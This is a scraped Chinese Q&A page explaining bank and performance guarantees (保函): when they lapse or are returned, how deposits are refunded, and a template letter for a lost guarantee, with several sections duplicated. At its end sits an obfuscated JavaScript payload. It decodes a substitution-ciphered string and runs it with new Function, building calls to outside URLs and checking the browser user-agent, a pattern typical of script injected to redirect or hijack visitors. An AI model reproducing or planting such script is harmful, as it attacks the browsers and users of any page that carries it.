推荐回答(5个)
一般保函过期自废。
1、一种是免保证金开出的银行保函,这种保函过期自废。
2.一种就是交了保证金开出的银行保函,这种保函退回银行,银行再把顾客之前交的保证金还给顾客。
履约保函 Performance Guarantee,履约保函是指:应劳务方和承包方(申请人)的请求,银行金融机构向工程的业主方(受益人)做出的一种履约保证承诺。如果劳务方和承包方日后未能按时、按质、按量完成其所承建的工程,则银行将向业主方支付一笔约占合约金额5%~10%的款项。履约保函有一定的格式限制,也有一定的条件。

扩展资料:
办理程序
申请人向银行申请开立保函并提供有关资料;
银行进行调查、审查;
签定协议,落实保证金或反担保;
开立履约保函。
适用范围
适用范围非常广泛,可用于任何项目中对当事人履行合同义务提供担保的情况,常见用于工程承包、物资采购等项目。
在工程承包、物资采购等项目中,业主或买方为避免承包方或供货方不履行合同义务而给自身造成损失,通常都要求承包方或供货方缴纳履约保证金,以制约对方行为。履约保函是现金保证金的一种良好的替代形式。
履约保函的优点
对承包方或供货方:
减少由于缴纳现金保证金引起的长时间资金占压,获得资金收益;
与缴纳现金保证金相比,可以使有限的资金得到优化配置;
权益得到更好地维护。
对业主或买方:
合理制约承包人、供货方行为,良好维护自身利益;
避免收取、退回保证金程序的繁琐,提高工作效率。
履约保函(Performance Guarantee)
履约保函:是银行应申请人的要求,向收益人开立的保证申请人履约某项合同项下义务的书面保证文件。
参考资料来源:百度百科-履约保函
工程担保保函何时退还?如何退还?工保网
保函的退还与注销是工程担保业务的最终环节,这一程序对于确定担保三方当事人的最终权利与义务而言具有重要意义。如银行保函退还事关被担保人授信额度的释放,担保保函退还事关被担保人保证金额的索回等。
保函实务中,与保函退还相关的规范较为分散;法律实务中,与保函退还相关的纠纷却颇为常见。这与我国工程担保实践时间较短有关,也与国内保函业务适用规则尚不完善有关。

工程担保保函什么时候退还?为什么要退还?本文将对实务中常见的保函退还问题作出解答,并结合投标保函近况展望保函退还工作的未来。
1
工程担保保函退还情形
退还工程担保保函意味着保函失效,亦即担保责任解除。根据责任解除原因,保函失效可分为已兑付保函失效和未兑付保函失效两类。已兑付保函失效是指保函项下已无可付金额、担保责任自动解除的情形;未兑付保函失效包括保函有效期届满和担保合同解除两种情况。
担保责任已履行:担保人按照工程担保保函约定向债务人履行了担保责任后,自担保人向债务人支付(支付款项从担保人账户划出)之日起,担保责任即解除。
保函有效期届满:保函有效期是债权人要求担保人承担担保责任的权利存续期间。根据《关于在房地产开发项目中推行工程建设合同担保的若干规定(试行)》,担保的有效期届满时,债权人要求担保人承担担保责任的实体权利消灭,担保人免除担保责任。因此有效期届满债务人未向担保人主张担保责任的,担保人可自有效期届满次日起解除担保责任。

担保合同提前终止:保函终止可以分为担保人解除合同和被担保人解除合同两种情形。前者指债务人未履行担保合同约定义务,担保人主动解除合同的情形;后者指债务人主动申请解除担保合同,以及未经担保人同意而转让、质押、抵押保函,造成担保责任自动解除的情形。
我国现有法律体系中,《最高人民法院关于审理独立保函纠纷案件若干问题的规定》中规定的独立保函权利义务终止情形,也为保函终止提供了部分判断标准。

以投标保函为例,出现下列情形之一的,招标人应当在3天内开具释放证明,退还投标人的投标保函:1)中标人签署了工程承包合同,并按招标文件要求提交了履约担保;2)招标过程因正当理由被招标人宣布中止;3)招标失败,需重新组织招标;4)投标有效期满而投标人不愿意作出延长;5)在投标截止日之前,投标人撤回投标书不再进行投标的。
2
工程保函的退还意义
退还保函,是债务人的义务所在:正如投标保证保险条款普遍载有“保险失效后请将本保函交投标人退回我方注销”作为投保人义务,担保人解除保证责任后,债务人应按照担保合同约定在规定时限内将保函原件返还担保人。
需要注意的是,不同保函的返还期限不同。如《标准施工招标文件》2017版第4.2条规定发包人应在工程接收证书颁发后28 天内把履约担保退还给承包人;长沙公共资源交易电子服务平台《投标保证金银行保函提交和退还流程清单(暂行)》要求招标人对符合项目投标保证金退还条件的银行投标保函,在3个工作日内以短信、电话等方式通知投标人办理保函原件退还手续。

退还保函,还是债务人取回保证金的前提:在开具工程担保保函时,以银行、工程担保公司为代表的担保人通常会要求债务人质押部分保证金作为反担保保证金。因此保函失效后,债务人应携带保函原件去办理保证金退还手续。
当然,保函原件是否返还不影响其失效:即使债务人未履行返还义务,担保合同及全部担保责任仍然失效。失效后保函便不再具备法律效力,三方当事人的责任与义务也相应解除。
3
担保保函退还的优化:以投标保函为例
在投标保函的退还工作中,历来存在退还慢、手续繁等问题:最快的情况下,招标人可在评标活动结束后当场为除中标候选人以外的投标人开具投标保函的释放证明;在中标通知书发出后的30天内,招标人可以办理除第一中标候选人之外的第二、第三中标候选人的投标保函释放证明。

(来源:广东电网物资有限公司)
打通招标投标的电子化流程,是投标保函为解决退还问题提出的解决方案:在电子招投标平台中,投标人在投标时提交电子投标保函即可,既不需要提交纸质投标保函原件,又免去了投标保函的退还环节。
通过不同投标人使用同一个人或者同一企业出具的投标保函、不同投标人使用同一个人或者企业资金缴纳投标保函的反担保资金等线索,电子招投标平台还能够锁定违规行为,将围标串标行为扼杀于摇篮之中。

当前,依托全流程电子化所实现的电子保函尚局限于投标保函领域。同时值得注意的是,于2018年12月上线的黑龙江省建设工程担保公示平台,已能够实现对于工程保证保险订单的实时动态监督——其依托投保全流程电子化,初步完成了保函退还工作的电子化。这一模式,与招投标电子化殊途同归,共同为保函退还工作的优化描绘了崭新的未来。
▎本文系工保网原创作品,作者龚保儿。部分内容综合自互联网,如涉及版权问题请及时联系处理。若需转载或引用请后台回复“转载”!
一般保函过期自废。
1、一种是免保证金开出的银行保函,这种保函过期自废。
2.一种就是交了保证金开出的银行保函,这种保函退回银行,银行再把顾客之前交的保证金还给顾客。
履约保函 Performance Guarantee,履约保函是指:应劳务方和承包方(申请人)的请求,银行金融机构向工程的业主方(受益人)做出的一种履约保证承诺。如果劳务方和承包方日后未能按时、按质、按量完成其所承建的工程,则银行将向业主方支付一笔约占合约金额5%~10%的款项。履约保函有一定的格式限制,也有一定的条件。

扩展资料:
办理程序
申请人向银行申请开立保函并提供有关资料;
银行进行调查、审查;
签定协议,落实保证金或反担保;
开立履约保函。
适用范围
适用范围非常广泛,可用于任何项目中对当事人履行合同义务提供担保的情况,常见用于工程承包、物资采购等项目。
在工程承包、物资采购等项目中,业主或买方为避免承包方或供货方不履行合同义务而给自身造成损失,通常都要求承包方或供货方缴纳履约保证金,以制约对方行为。履约保函是现金保证金的一种良好的替代形式。
履约保函的优点
对承包方或供货方:
减少由于缴纳现金保证金引起的长时间资金占压,获得资金收益;
与缴纳现金保证金相比,可以使有限的资金得到优化配置;
权益得到更好地维护。
对业主或买方:
合理制约承包人、供货方行为,良好维护自身利益;
避免收取、退回保证金程序的繁琐,提高工作效率。
履约保函(Performance Guarantee)
履约保函:是银行应申请人的要求,向收益人开立的保证申请人履约某项合同项下义务的书面保证文件。
参考资料来源:百度百科-履约保函
通俗易懂的来讲,保函是替代保证金的产物
一般保函过期自废。
1、一种是免保证金开出的银行保函,这种保函过期自废。
2、一种就是交了保证金开出的银行保函,这种保函退回银行,银行再把顾客之前交的保证金还给顾客。
银行保函丢失怎么处置?
答:把对方单位开立的银行保函丢了,需要向银行提供说明,写清楚保函的基本情况和丢失的原因。
先登报挂失,然后写银行履约保函丢失说明,再到银行去申请。
说明格式:
XX银行XX支行:
我公司在贵行开立的编号为xxx,金额为xxx的保函,因xxx(原因)丢失,请贵行为我司重新出具保函(或者其他要求,具体想要银行怎么做,说清楚。),由此引发的风险,我公司愿意承担。
公司名(公章)
日期
在建工领域工程行业,建工企业(施工方,被保证人)投标要交保证金;中标后,签订合同及项目进场前,则需要上交履约、预付款保证金给甲方(业主,受益人),一般来说金额是项目金额的10%,直至项目结束方可申请退款,看清楚是申请......
具体情况可想而知(退款慢,退款难---退不全),这样造成了巨额资金占压,资金成本较大,从而增加了企业经营风险
而保函可以代替保证金,减少企业资金占压,规范建工领域,防止人为粗暴管理(钱在甲方那里,退款慢,退款难,看甲方脸色)因素,降低企业经营风险
保函分为:银行保函,商业保函,保险保证又分为投标保函及非投标保函:非投标即履约、预付款、农民工工资支付、质量保修保函等其中银行保函认可度和接受度最高,而建设银行保函又是银行保函里的独角兽,希望能帮到您
银行保函开局可以直接找银行或者专业的担保公司通过担保公司开具银行保函是目前市面上唯一可以降低保证金比例的途径最大降幅为100%,即:免保证金开银行保函。

简单说履约保函就是你的委托银行出具的保证某项《合约》顺利执行的书面保证函。如果你出现保函中规定的任何一项索偿条件,银行就会执行赔付。但一般银行在开具保函前会落实担保或保证金等反担保手段。 到期后保函失效。银行退还未付保证金余额。
!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();